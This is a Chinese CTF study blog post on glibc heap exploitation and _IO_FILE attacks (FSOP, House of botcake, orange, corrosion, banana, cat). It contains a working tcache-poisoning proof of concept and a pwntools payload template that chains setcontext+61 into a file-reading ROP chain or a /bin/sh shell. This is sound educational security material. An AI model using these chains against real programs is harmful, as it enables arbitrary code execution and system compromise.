char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset;

#define __HAVE_COLUMN
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

进程中FILE结构通过_chain域构成一个链表,链表头部为_IO_list_all全局变量,默认情况下依次链接了stderr,stdout,stdin三个文件流,并将新建的流插入到头部,vtable虚表为_IO_file_jumps

FSOP

在libc-2.23下由于对vtable没有任何检查,导致可以通过伪造而调用自己想要调用的函数,具体调用方式为exit()函数中的_IO_flush_all_lockp ()函数,其会刷新_IO_list_all链表中的所有文件流,并且会调用_IO_OVERFLOW函数指针,函数调用具体逻辑为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int
_IO_flush_all_lockp (int do_lock)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...

由于_IO_FILE结构体中的vtable指针可以被修改,因此可以指向任意我们伪造好的位置。修改好后,只需要满足fp->mode <= 0 && fo->_IO_write_ptr > fp->_IO_write_base即可进行调用,且调试发现该函数参数为结构体的第一个元素值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*RAX  0x7f671d85e550 (_IO_2_1_stderr_+16) ◂— 0x0
*RBX 0x7f671d85e540 (_IO_2_1_stderr_) ◂— 'LookHere'
*RCX 0x7f671d85ec30 ◂— 0x0
*RDX 0x0
*RDI 0x7f671d85e540 (_IO_2_1_stderr_) ◂— 'LookHere'
*RSI 0xffffffff
*R8 0x4
*R9 0x0
*R10 0x7fff63e6a548 —▸ 0x7f671da899d8 (_rtld_global+2456) —▸ 0x7f671d863000 ◂— jg 0x7f671d863047
*R11 0x3
*R12 0x7f671da86700 ◂— 0x7f671da86700
*R13 0x0
R14 0x0
*R15 0x2
*RBP 0x0
*RSP 0x7fff63e6a568 —▸ 0x7f671d515196 ◂— cmp eax, -1
*RIP 0x7f671d4de390 (system) ◂— test rdi, rdi

libc-2.24下的攻击

这部分内容建议看winmt师傅的文章(膜拜)[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com) 。俺不知道该咋写了

House of botcake

这种攻击方法是在tcache中存在key来检测double-free时产生的一种绕过key检测的方法。简单来说就是在程序存在UAF的情况下,通过使unsorted bin和tcache中同时存在某个chunk,来对tcache中chunk的next位进行修改。

简单poc(环境:ubuntu-22.04 libc-2.36)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<stdio.h>
#include<stdlib.h>

int main()
{
long target = 0; //目标位置

//填满tcache
long* x[10] = {0};
for(int i = 0; i < 10; i++)
x[i] = malloc(0x90);
for(int i = 0; i < 7; i++)
free(x[i]);
//x[0]---x[6] in tcache

free(x[7]);
free(x[8]); //x[7]+x[8] in unsorted bin, 并且合成为一个大块

long* p1 = malloc(0x90); //从tcache中申请出一个chunk
free(x[8]); //利用UAF将x[8]放入tcache

//Now, x[8] is in tcache and unsorted bin.
//We firstly malloc 0x130, and we will control x[8]'s 'next' area.
//x[8]'s 'next' area will target on target's address.
long* p2 = malloc(0x130);
p2[20] = (((long)(&target)>>4)<<4) ^ (x[0][0]); //修改next,此处位移是因为要0x10对齐

long* p3 = malloc(0x90);
long* Ptarget = malloc(0x90);
printf("Now we successfully got target.\nPtarget: %p\ntarget's address: %p\n", Ptarget, &target);

return 0;
}

攻击步骤:

  • 填满对应大小的tcache,向unsorted bin中填入两个chunkA和chunkB(A位于B的上方),这两个chunk会合并为一个大chunk,不能与top chunk合并
  • 从tcache中申请出一个chunk,再次释放chunkB进入tcache(不能释放A的原因是合并为大chunk时A的size已经改变)
  • 申请出unsorted bin中的大堆块,并修改chunkB对应next位置的值为target,然后申请两次,即可取出target

题目:2020祥云杯 garden [原创]2020祥云杯garden(house of botcake++)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

House of orange

house of orange是一种组合漏洞的攻击技巧,用unsorted bin attack配合FSOP进行攻击。

  • 一般可用于程序中没有free函数的情况,可以通过堆溢出来修改top chunk的size(注意页对齐),然后申请大于这个size的chunk,就可以将top chunk放入unsorted bin中

  • 然后使用unsorted bin attack修改_IO_list_allmain_arena+88/96。修改后0x60大小的smallbin链表头正好对应_IO_FILE_PLUS结构中的chain域

  • 这时我们可以在该chunk位置伪造_IO_FILE_PLUS结构体,并且伪造vtable表。触发abort->_IO_flush_all_lockp->_IO_OVERFLOW执行FSOP。(abortmalloc_printerr调用)

修改unsorted bin的bk位后,再申请内存,程序会执行如下流程:

1
2
3
4
5
6
7
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck)) //必进入if,因为之前对unsorted bin进行了伪造,无法满足条件
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}

再来看errout:

1
2
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);

errout中有malloc_printerr函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);

if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];

buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';

__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}

该函数会调用__libc_message函数或abort函数,而__libc_message函数中也会调用abort函数,因此可以进行FSOP

经典例题:houseoforange_hitcon_2016

House of corrosion

参考链接:https://xz.aliyun.com/t/6862#toc-0

https://github.com/CptGibbon/House-of-Corrosion

攻击条件

  • 有UAF漏洞
  • 可分配较大堆块
  • 可在无leak的情况下使用

攻击效果

fastbinY数组溢出到目标位置,FSOP直接getshell

攻击方法

  • 通过unsorted bin attack,修改global_max_fast变量为一个大值。由于没有leak,因此需要爆破出4bit的偏移量。
  • 计算stderr到fastbinY数组的偏移量,通过计算公式chunk size = (delta * 2) + 0x20 ,delta为目标地址与fastbinY的offset,计算出要释放的chunk大小,释放后通过堆风水或者UAF修改堆内容伪造_IO_FILE结构体。
  • 最后通过触发stderr来getshell

简单POC

House of banana

参考链接 [原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com) 高版本glibc堆的几种利用手法 - 知乎 (zhihu.com)

house of banana是利用exit函数调用链触发的一种利用方式,调用链:exit()->_dl_fini->(fini_t)array[i],利用起来十分方便,只要我们能通过largebin attack等方式劫持_rtld_global首地址_ns_loaded到我们的可控区域,也可以直接劫持某个节点link_mapl_next指针到可控区域,就可以对link_map进行伪造,从而进行调用。

首先我们来看_rtld_global结构体,其中_ns_loaded指向我们要伪造的link_map,是整个链表的头结点,_ns_nloaded表示共有几个link_map,在exit后面的检查中,要求该值不小于3

1
2
3
4
5
6
7
pwndbg> p _rtld_global
$2 = {
_dl_ns = {{
_ns_loaded = 0x7f56e43ba220, //#1
_ns_nloaded = 4, //#2
... //后续变量在该方法中均没有用到
}

_rtld_global结构体的地址可以直接用libcbase + libc.symbols['_rtld_global']计算出来,然后我们可以使用largebin attack等方法修改_ns_loaded为可控地址,进而可以在该地址伪造link_map

link_map结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> p *(struct link_map *)0x7f56e43ba220
$3 = {
l_addr = 94172888551424, //伪造为fake_link_map_addr+0x20,
l_name = 0x7f56e43ba7c8 "",
l_ld = 0x55a655922000,
l_next = 0x7f56e43ba7d0, //下一个link_map结构体,伪造保持原来的值
l_prev = 0x0,
l_real = 0x7f56e43ba220, //会进行判断是否和当前link_map地址一致,伪造为fake_link_map_addr即可
l_ns = 0,
l_libname = 0x7f56e43ba7b0,
l_info = {0x0, 0x55a655922010, 0x55a6559220f0, 0x55a6559220e0, 0x0, 0x55a655922090, 0x55a6559220a0, 0x55a655922120, 0x55a655922130, 0x55a655922140, 0x55a6559220b0, 0x55a6559220c0, 0x55a655922020, 0x55a655922030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55a655922100, 0x55a6559220d0, 0x0, 0x55a655922110, 0x55a655922160, 0x55a655922040, 0x55a655922060, 0x55a655922050, 0x55a655922070, 0x55a655922000, 0x55a655922150, 0x0, 0x0, 0x0, 0x0, 0x55a655922180, 0x55a655922170, 0x0, 0x0, 0x55a655922160, 0x0, 0x55a6559221a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55a655922190, 0x0 <repeats 25 times>, 0x55a655922080}, //#4
l_phdr = 0x55a65591d040,
......
l_direct_opencount = 1,
l_type = lt_executable,
l_relocated = 1,
l_init_called = 1, //不为0,以绕过判断
l_global = 1,
......
}

然后来看_dl_fini函数

_dl_fini.c中具体函数逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
void
_dl_fini (void)
{
...
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real) //检查节点的地址是否跟自己结构体保存的一致
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);

__rtld_lock_unlock_recursive (GL(dl_load_lock));

for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i]; //l遍历link_map的链表

if (l->l_init_called) //重要的检查点
{
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); //即要调用的函数数组的地址为这两项相加(DT_FINI_ARRAY = 26)
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr))); //i的起始值(DT_FINI_ARRAYSZ = 28)
while (i-- > 0)
((fini_t) array[i]) (); //目标位置
}
....
}

从上面可以看到我们需要使l->l_init_called不为0,l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL)成立,l->l_info[DT_FINI_ARRAY] != NULL才能调用函数。

最后配合setcontext+61可getshell或orw

模板来源为第一个参考链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
fake_link_map_addr = heap_base + 0x6c0
edit(0, b'a'*0x420 + p64(fake_link_map_addr + 0x20)) # l_addr
payload = p64(0) + p64(ld.address + 0x2f740) # l_next
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libc.sym['setcontext'] + 61) # second call rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)

'''
# getshell
payload += p64(pop_rdi_ret) # 0x40
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
'''

# orw
flag_addr = fake_link_map_addr + 0xe8
payload += p64(pop_rdi_ret) + p64(flag_addr) # fake_link_map_addr + 0x40
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(libc.sym['syscall'] + 27)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + 0x200)
payload += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0)
payload += p64(libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(libc.sym['write']) # fake_link_map_addr + 0xc8
payload += p64(libc.sym['_exit'])

payload = payload.ljust(0x38 - 0x10 + 0xa0, b'\x00') # => fake_link_map_addr + 0xd8 SROP
payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8

payload = payload.ljust(0x100, b'\x00')
# l->l_info[DT_FINI_ARRAY] != NULL => l->l_info[26] != NULL
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26] & d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28] & i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr
payload = payload.ljust(0x308, b'\x00')
payload += p64(0x800000000) # l->l_init_called

上述模板的调用流程为(以orw为例):

程序进入exit->_dl_fini->(fini_t)array[i],经l->l_info[28]->d_un.d_val 得 i=2d_un为一个共用体

1
2
3
4
5
 union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;

经过while(i-- > 0),第一个调用的项为array[1],而经l_addr + l->l_info[26]->d_un.d_ptr 得 array = fake_link_map_addr + 0x30,则array[1]ret_addr,之后则会调用array[0],即setcontext+61,这个调用过程中,汇编代码为

1
2
3
4
5
6
0x7fa4750591a3    mov    rdx, r14
0x7fa4750591a6 sub r14, 8
0x7fa4750591aa cmp qword ptr [rbp - 0x38], rdx
0x7fa4750591ae jne 0x7fa4750591a0 <0x7fa4750591a0>

0x7fa4750591a0 call qword ptr [r14] <setcontext+61>

可以看到在调用setcontext+61之前,会使rdx=r14,然后才有r14-8,则此时rdx=fake_link_map_addr+0x38

setcontext+61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x7fa474eae06d <setcontext+61>     mov    rsp, qword ptr [rdx + 0xa0]
0x7fa474eae074 <setcontext+68> mov rbx, qword ptr [rdx + 0x80]
0x7fa474eae07b <setcontext+75> mov rbp, qword ptr [rdx + 0x78]
0x7fa474eae07f <setcontext+79> mov r12, qword ptr [rdx + 0x48]
0x7fa474eae083 <setcontext+83> mov r13, qword ptr [rdx + 0x50]
0x7fa474eae087 <setcontext+87> mov r14, qword ptr [rdx + 0x58]
0x7fa474eae08b <setcontext+91> mov r15, qword ptr [rdx + 0x60]
0x7fa474eae08f <setcontext+95> test dword ptr fs:[0x48], 2
0x7fa474eae09b <setcontext+107> je setcontext+294 <setcontext+294>
0x7fa474eae156 <setcontext+294> mov rcx, qword ptr [rdx + 0xa8]
0x7fa474eae15d <setcontext+301> push rcx
0x7fa474eae15e <setcontext+302> mov rsi, qword ptr [rdx + 0x70]
0x7fa474eae162 <setcontext+306> mov rdi, qword ptr [rdx + 0x68]
0x7fa474eae166 <setcontext+310> mov rcx, qword ptr [rdx + 0x98]
0x7fa474eae16d <setcontext+317> mov r8, qword ptr [rdx + 0x28]
0x7fa474eae171 <setcontext+321> mov r9, qword ptr [rdx + 0x30]
0x7fa474eae175 <setcontext+325> mov rdx, qword ptr [rdx + 0x88]
0x7fa474eae17c <setcontext+332> xor eax, eax
0x7fa474eae17e <setcontext+334> ret

在对应位置写入值即可控制对应寄存器,retrsp被劫持到了fake_link_map_addr+0x40的位置,直接执行orw

House of cat

CatF1y师傅发现的一个比较新的技巧,目前适用于任何版本。

参考链接:[原创]House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

  • 利用条件:可以向任意位置写入可控地址,可以泄露libcbase和heapbase,能触发FSOP或__malloc_assert或进入IO流

  • 利用流程:伪造好fake_IO结构体 -> FSOP/__malloc_assert -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode

  • 利用原理:通过在任意地址写一个可控地址,伪造fake_IO结构体并配合合适的IO链,来达到控制执行流的效果。

要进行IO利用首先要绕过vtable检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

用当前虚表指针减去_IO_vtable段的开始地址,其偏移若大于section_length,则会进入_IO_vtable_check()函数进行更为详细的检查。因此一般修改虚表指针为虚表段内的任意位置,也就是对于某一个_IO_xxx_jumps的任意偏移,从而调用我们想要调用的IO函数。

FSOP触发

FSOP有三种情况(能从main函数中返回、程序中能执行exit函数、libc中执行abort),第三种情况在高版本中已经删除

从exit进入时的调用链为:exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode

_IO_flush_all_lockp函数中有这样几个片段

1
2
3
0x7f9ab615a9db <_IO_flush_all_lockp+123>    mov    r15, qword ptr [rip + 0x18bc9e] <_IO_list_all>
0x7f0f3fbd2a21 <_IO_flush_all_lockp+193> mov rax, qword ptr [r15 + 0xd8]
0x7f53be3b5a3f <_IO_flush_all_lockp+223> call qword ptr [rax + 0x18] <_IO_wfile_seekoff>

也就是说程序会把_IO_list_all对应的值赋给r15,因此_IO_list_all处就要伪造成我们的可控地址,然后把对应结构中的0xd8位置的值赋给rax,之后会调用rax+0x18位置的函数,因此0xd8位置就要伪造为_IO_wfile_jumps+0x30(0x48位置为_IO_wfile_seekoff

进入_IO_wfile_seekoff之后,会以rdi = fake_io_addr进入_IO_switch_to_wget_mode函数

1
2
3
4
5
6
7
8
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
...
}

在这个函数中,会调用_IO_WOVERFLOW函数,而对其并没有任何检查,只要我们可以更改该函数指针所在位置的值为setcontext+61就可以实现控制执行流

对应汇编代码如下

1
2
3
4
5
6
7
8
9
10
  0x7f53be3aad34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7f53be3aad3b <_IO_switch_to_wget_mode+11> push rbx
0x7f53be3aad3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f53be3aad3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f53be3aad43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f53be3aad47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>

0x7f53be3aad49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f53be3aad50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f53be3aad55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

显然 rax = [fake_io_addr + 0xa0]

在造成任意地址写一个堆地址的基础上,这里的寄存器rdi(fake_IO的地址)、rax和rdx都是我们可以控制的,在开启沙箱的情况下,假如把最后调用的**[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax + 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串**,就可执行system(“/bin/sh”)

__malloc_assert触发

  • Title: Glibc堆学习及_IO_FILE利用
  • Author: Static
  • Created at : 2024-03-10 16:37:54
  • Updated at : 2024-03-10 16:37:51
  • Link: https://staticccccccc.github.io/2024/03/10/glibc/Glibc堆学习/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments